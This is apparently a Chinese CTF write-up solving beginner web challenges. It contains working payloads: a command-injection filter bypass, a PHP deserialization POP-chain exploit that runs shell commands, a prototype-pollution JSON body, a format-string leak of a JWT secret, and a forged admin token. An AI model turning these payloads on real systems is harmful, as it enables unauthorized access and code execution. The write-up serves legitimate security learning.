在本题中,你需要学习如何发起一个HTTP请求
进入环境后burp抓包
可以看到这里cookie的值是VIP=0
改成VIP=1
然后发包,得到flag
你是玩2048的高手吗~?
游戏题,要求我们打到5w分,基本上是达不到的
在源码中找到控制分数的属性,obj.score
在控制台设置分数为10000
obj.score=100000
然后玩到Game Over
网站管理员添加了种种入侵检测,这该如何是好?
源码如下
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
ls
一下,扫描当前目录
node2.anna.nssctf.cn:28721?rce=ls
然后获取flag.php
的内容
但是这里把cat
,flag
,空格
都过滤了
构造payload:
http://node2.anna.nssctf.cn:28721/?rce=c\at${IFS}fl\ag.php
flag在这里
源码如下
<?php
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
构造pop链,倒着找
这里能进行攻击的点就是eval
语句
所以最后要触发的就是evil
的__get()
魔术方法
__get() :获得一个类的不可访问或者不存在的成员变量时调用
知道了__get()
的触发方式,这里也就找到了springboard
的__call()
魔术方法
__call():在对象上下文中调用不可访问的方法时触发
在向上找,就是entrance
的__destruct()
__destruct() :对象被销毁时触发
所以pop链如下
evil::__get()<--springboard::__call()<--entrance::__destruct()
构造exp:
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __construct($middle)
{
$this->middle = $middle;
}
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
$a=new entrance(new springboard(new evil("system('ls /');")));
echo urlencode(serialize($a)).PHP_EOL;
?>
运行后生成
O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D%7D
payload:
http://node2.anna.nssctf.cn:28022/?serialize=O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D%7D
然后将脚本的ls /
改为cat /f*
,就可以获得flag,payload:
?serialize=O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A18%3A%22system%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7D%7D
什么是HTTP呢?
源码
include "flag.php";
$moe = $_GET['moe'];
if ($moe == "flag") {
echo $flag;
}else {
highlight_file(__FILE__);
}
。。。GET传参,payload:
http://node3.anna.nssctf.cn:28659/?moe=flag
检查一下你的学习成果吧
将GET
请求修改为HS
请求
提示只有本地ip地址才可以,XFF
伪造ip为127.0.0.1
X-Forwarded-For:127.0.0.1
这里就是Referer
头伪造
Referer:www.ltyyds.com
本地浏览器,User-Agent
,也就是UA
头伪造
User-Agent: LT
得到flag
原型链污染(蚌)
这里不多阐述原型链污染的概念了,可以去看p神的文章
深入理解 JavaScript Prototype 污染攻击
提示我们可以有十点属性来分配,分配肯定是打不过的
可以看发送请求包这种形式,猜测是原型链污染,构造payload:
{"attributes":{"health":0,"attack":0,"armor":0,"__proto__":{"health":50000,"attack":50000,"armor":50000}}}
得到flag
进入题目源码如下
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg)
if __name__ == "__main__":
app.run()
首先看代码get请求传入f1ag
和exp
并且将f1ag
传入FLAG函数
里面,并且将FLAG的返回值f1Ag
与exp
拼接存在message
变量里,如果exp
0存在值的话就返回拼接后的字符串。
我们知道format
会把f1Ag
的值带入到变量message="Your flag is {0}"
中的{0}
,所以我们让exp中也有一个{0}
,这样就可以将f1Ag
中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。与下图所示类似:
payload:
?f1ag=1&exp={0.__class__.__init__.__globals__}
这里注意必须是0才可以,因为只有一个f1Ag的值往进传,所以前后必须是一样的,如果为其他数字的话需要俩个变量往进传。
源码如下
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
res = make_response(ctx)
name = request.args.get('name') or ''
if 'admin' in name or name == '':
return res
payload = {
"name": name,
}
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
res.set_cookie('token', token)
return res
@app.route('/hello', methods=['GET', 'POST'])
def hello():
token = request.cookies.get('token')
if not token:
return redirect('/', 302)
try:
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
if name != "admin":
user = User(name)
flag = request.args.get('flag') or ''
message = "Hello {0}, your flag is" + flag
return message.format(user)
else:
return render_template('flag.html', name=name)
if __name__ == "__main__":
app.run()
index
路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥secret
和头部headers
生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。hello
路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。- 如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
- 如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。
这里admin
是绕过不了的,所以只能来进行token
伪造
因为这个jwt是指定的headers
和secret
生成的,所以我们需要利用SSTI
漏洞来带出secret
和token
先创建用户得到token
然后带着token去访问hello
可以看到是根据token
来判断用户的,这里利用SSTI
漏洞来带出secret
和token
,payload和上一题类似
payload:
/hello?flag={0.__class__.__init__.__globals__}
这里找到了secret
和headers
'secret': 'u_have_kn0w_what_f0rmat_i5',
'headers': {'alg': 'HS256', 'typ': 'JWT'}
将题目给我们生成的token
去http://jwt.io验证,填入headers
和secret
以及token
可以看到签名认证成功,然后再将name
改为admin
,得到payload:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.jlAcmWWxtmNLxbxwfRE45Fxf16dX6LQmrK_1dgx7zmg
回到hello
路由然后将伪造好的token
放进去,然后发包
题目有问题
源码
include "flag.php";
$moe = $_POST['moe'];
if ($moe == "flag") {
echo $flag;
}else {
highlight_file(__FILE__);
}
直接POST
传参就行了
POST Data:
moe=flag